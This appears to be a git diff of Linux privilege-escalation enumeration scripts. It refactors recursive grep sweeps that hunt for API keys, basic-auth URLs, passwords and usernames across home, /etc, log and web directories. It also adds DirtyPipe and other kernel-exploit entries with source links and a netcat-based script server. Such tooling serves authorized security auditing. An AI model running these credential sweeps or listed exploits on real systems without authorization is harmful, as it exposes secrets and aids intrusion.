"[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~" & +print_3title_no_nl "Searching Twitter Secret Key (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait echo '' print_2title "Searching Misc" -print_3title "Searching Basic Auth (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~//(.+):(.+)@~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~//(.+):(.+)@~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~//(.+):(.+)@~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~//(.+):(.+)@~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~//(.+):(.+)@~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~//(.+):(.+)@~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~//(.+):(.+)@~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~//(.+):(.+)@~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~//(.+):(.+)@~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~//(.+):(.+)@~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~//(.+):(.+)@~${SED_RED}~" & +print_3title_no_nl "Searching Basic Auth (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Passwords1 (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~" & +print_3title_no_nl "Searching Passwords1 (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Usernames (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~username.*[=:].+~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~username.*[=:].+~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~username.*[=:].+~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~username.*[=:].+~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~username.*[=:].+~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~username.*[=:].+~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~username.*[=:].+~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~username.*[=:].+~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~username.*[=:].+~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~username.*[=:].+~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~username.*[=:].+~${SED_RED}~" & +print_3title_no_nl "Searching Usernames (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait echo '' +else + echo "Regexes to search for API keys aren't activated, use param '-r' " fi fi echo '' diff --git a/linux-exploit-suggester.sh b/linux-exploit-suggester.sh index 51582ce..42b7768 100755 --- a/linux-exploit-suggester.sh +++ b/linux-exploit-suggester.sh @@ -1,7 +1,7 @@ #!/bin/bash # -# Copyright (c) 2016-2020, @_mzet_ +# Copyright (c) 2016-2022, @_mzet_ # # linux-exploit-suggester.sh comes with ABSOLUTELY NO WARRANTY. # This is free software, and you are welcome to redistribute it @@ -930,6 +930,44 @@ author: theflow (orginal exploit author); bcoles (author of exploit update at 'e EOF ) +EXPLOITS[((n++))]=$(cat <=5.8,ver<=5.16.11 +Tags: ubuntu=(20.04|21.04),debian=11 +Rank: 1 +analysis-url: https://dirtypipe.cm4all.com/ +src-url: https://haxx.in/files/dirtypipez.c +exploit-db: 50808 +author: blasty (original exploit author: Max Kellermann) +EOF +) + +EXPLOITS[((n++))]=$(cat <=3.16,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 +Tags: ubuntu=(20.04){kernel:5.12.13} +Rank: 1 +analysis-url: https://www.openwall.com/lists/oss-security/2022/08/29/5 +src-url: https://www.openwall.com/lists/oss-security/2022/08/29/5/1 +Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN) +author: vulnerability discovery: Team Orca of Sea Security; Exploit author: Alejandro Guerrero +EOF +) + +EXPLOITS[((n++))]=$(cat < # GitHub: https://github.com/diego-treitos/linux-smart-enumeration # -lse_version="3.10" +lse_version="4.10nw" -#( Colors +##( Colors # -# fg +#( fg red='\e[31m' lred='\e[91m' green='\e[32m' @@ -26,8 +26,8 @@ grey='\e[90m' lgrey='\e[37m' white='\e[97m' black='\e[30m' -# -# bg +##) +#( bg b_red='\e[41m' b_lred='\e[101m' b_green='\e[42m' @@ -44,8 +44,8 @@ b_grey='\e[100m' b_lgrey='\e[47m' b_white='\e[107m' b_black='\e[40m' -# -# special +##) +#( special reset='\e[0;0m' bold='\e[01m' italic='\e[03m' @@ -59,13 +59,13 @@ underline_off='\e[24m' inverse_off='\e[27m' conceil_off='\e[28m' crossedout_off='\e[29m' +##) #) -#( Globals +##( Globals # # user -lse_user_id="$UID" -[ -z "$lse_user_id" ] && lse_user_id="`id -u`" +lse_user_id="`id -u`" lse_user="$USER" [ -z "$lse_user" ] && lse_user="`id -nu`" lse_pass="" @@ -77,7 +77,8 @@ lse_arch="`uname -m`" lse_linux="`uname -r`" lse_hostname="`hostname`" lse_distro=`command -v lsb_release >/dev/null 2>&1 && lsb_release -d | sed 's/Description:\s*//' 2>/dev/null` -[ -z "$lse_distro" ] && lse_distro="`(source /etc/os-release && echo "$PRETTY_NAME")2>/dev/null`" +[ -z "$lse_distro" ] && lse_distro="`(. /etc/os-release && echo "$PRETTY_NAME")2>/dev/null`" +lse_distro_codename="" # retrieved below with lse_get_distro_codename # lse lse_passed_tests="" @@ -85,11 +86,12 @@ lse_executed_tests="" lse_DEBUG=false lse_procmon_data=`mktemp` lse_procmon_lock=`mktemp` +lse_cve_tmp='' # printf printf "%s" "$reset" | grep -q '\\' && alias printf="env printf" -# internal data +#( internal data lse_common_setuid=" /bin/fusermount /bin/mount @@ -176,12 +178,14 @@ lse_common_setuid=" /usr/sbin/usernetctl /usr/sbin/uuidd " -#regex rules for common setuid +#) +#( regex rules for common setuid lse_common_setuid="$lse_common_setuid /snap/core.* /var/tmp/mkinitramfs.* " -#critical writable files +#) +#( critical writable files lse_critical_writable=" /etc/apache2/apache2.conf /etc/apache2/httpd.conf @@ -235,8 +239,13 @@ lse_critical_writable_dirs=" /root " #) +#( CVE list (populated by the lse packager) +lse_cve_list=" +" #CVElistMARKER +#) +#) -#( Options +##( Options lse_color=true lse_alt_color=false lse_interactive=true @@ -247,16 +256,16 @@ lse_find_opts='-path /proc -prune -o -path /sys -prune -o -path /dev -prune -o' lse_grep_opts='--color=always' #) -#( Lib -cecho() { +##( Lib +cecho() { #( if $lse_color; then printf "%b" "$@" else # If color is disabled we remove it printf "%b" "$@" | sed 's/\x1B\[[0-9;]\+[A-Za-z]//g' fi -} -lse_recolor() { +} #) +lse_recolor() { #( o_white="$white" o_lyellow="$lyellow" o_grey="$grey" @@ -270,11 +279,11 @@ lse_recolor() { lred="$red" lgreen="$b_lgreen$black" lcyan="$cyan" -} -lse_error() { +} #) +lse_error() { #( cecho "${red}ERROR: ${reset}$*\n" >&2 -} -lse_exclude_paths() { +} #) +lse_exclude_paths() { #( local IFS=" " for p in `printf "%s" "$1" | tr ',' '\n'`; do @@ -282,8 +291,8 @@ lse_exclude_paths() { p="${p%%/}" lse_find_opts="$lse_find_opts -path ${p} -prune -o" done -} -lse_set_level() { +} #) +lse_set_level() { #( case "$1" in 0|1|2) lse_level=$(($1)) @@ -293,8 +302,8 @@ lse_set_level() { exit 1 ;; esac -} -lse_help() { +} #) +lse_help() { #( echo "Use: $0 [options]" echo echo " OPTIONS" @@ -319,6 +328,7 @@ lse_help() { echo " pro: Processes related tests." echo " sof: Software related tests." echo " ctn: Container (docker, lxc) related tests." + echo " cve: CVE related tests." echo " Specific tests can be used with their IDs (i.e.: usr020,sud)" echo " -e PATHS Comma separated list of paths to exclude. This allows you" echo " to do faster scans at the cost of completeness" @@ -326,8 +336,8 @@ lse_help() { echo " processes. A value of 0 will disable any watch (default: 60)" echo " -S Serve the lse.sh script in this host so it can be retrieved" echo " from a remote host." -} -lse_ask() { +} #) +lse_ask() { #( local question="$1" # We use stderr to print the question cecho "${white}${question}: ${reset}" >&2 @@ -341,24 +351,24 @@ lse_ask() { return 1 ;; esac -} -lse_request_information() { +} #) +lse_request_information() { #( if $lse_interactive; then cecho "${grey}---\n" [ -z "$lse_user" ] && lse_user=`lse_ask "Could not find current user name. Current user?"` lse_pass=`lse_ask "If you know the current user password, write it here to check sudo privileges"` cecho "${grey}---\n" fi -} -lse_test_passed() { +} #) +lse_test_passed() { #( # Checks if a test passed by ID local id="$1" for i in $lse_passed_tests; do [ "$i" = "$id" ] && return 0 done return 1 -} -lse_test() { +} #) +lse_test() { #( # Test id local id="$1" # Minimum level required for this test to show its output @@ -394,8 +404,8 @@ lse_test() { # Print name and line cecho "${white}[${l}${white}] ${grey}${id}${white} $name${grey}" - for i in $(seq $((${#name}+4)) 67); do - echo -n "." + for i in $(seq $((${#id}+${#name}+10)) 79); do + printf "." done # Check dependencies @@ -445,8 +455,8 @@ lse_test() { fi return 0 fi -} -lse_show_info() { +} #) +lse_show_info() { #( echo cecho "${lcyan} LSE Version:${reset} $lse_version\n" echo @@ -470,12 +480,14 @@ lse_show_info() { fi cecho "${lblue}Architecture:${reset} $lse_arch\n" echo -} -lse_serve() { + cecho "${green}=====================(${yellow} Current Output Verbosity Level: ${cyan}$lse_level ${green})======================${reset}" + echo +} #) +lse_serve() { #( # get port which nc >/dev/null || lse_error "Could not find 'nc' netcat binary." - local_ips="`ip a | grep -Eo 'inet ([0-9]{1,3}\.){3}[0-9]{1,3}' | cut -d' ' -f2`" + local_ips="`ip a | grep -Eo "inet ([0-9]{1,3}\.){3}[0-9]{1,3}" | cut -d' ' -f2`" # Get a valid and non used port port=`od -An -N2 -i /dev/random|grep -Eo '[0-9]+'` @@ -506,8 +518,8 @@ lse_serve() { done # try nc with '-N' (openbsd), then ncat and then use '-q0' (traditional) nc -l -N -p "$port" < "$0" >/dev/null 2>/dev/null || nc -l --send-only -p "$port" < "$0" >/dev/null 2>/dev/null || nc -l -q0 -p "$port" < "$0" >/dev/null -} -lse_header() { +} #) +lse_header() { #( local id="$1" shift local title="$*" @@ -530,8 +542,8 @@ lse_header() { done text="$text(${green} $title 